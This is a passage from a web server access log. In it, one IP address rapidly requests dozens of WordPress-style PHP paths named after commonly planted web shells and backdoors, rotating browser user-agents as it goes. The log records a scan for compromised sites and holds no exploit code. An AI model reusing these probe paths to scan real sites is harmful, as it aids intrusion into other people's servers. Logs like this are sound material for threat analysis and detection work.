HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:55 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:55 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:55 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:55 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:55 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:56 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:37:56 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:37:56 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:56 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:56 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:56 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:56 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:56 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:57 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:57 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:57 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:57 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:57 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:57 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:57 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:57 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:37:58 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:58 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:58 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:37:58 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:58 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:58 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:58 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:37:58 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:59 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:59 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:59 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:59 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:59 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:59 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:59 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:59 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:59 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:38:00 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:00 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:00 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:38:00 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:00 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:00 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:00 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:00 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:01 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:01 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:38:01 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:38:01 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:01 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:01 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:01 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:01 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:38:01 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:38:02 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:02 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:38:02 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:02 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:02 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:02 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:02 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:38:02 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:03 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:38:03 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:38:03 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:38:03 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:03 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:38:03 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:03 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:03 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:38:04 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:04 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:04 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:04 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:04 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:04 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:04 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:38:04 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:04 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:05 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:05 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:38:05 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:05 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:38:05 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:05 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:05 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:05 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:38:05 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:06 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:38:06 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:38:06 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:06 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:38:06 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:06 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:38:06 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:38:06 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:38:07 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:07 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:38:07 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:07 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:38:07 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:07 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:38:07 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:07 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:07 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:38:07 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:38:08 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:08 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:38:08 -0400] "GET 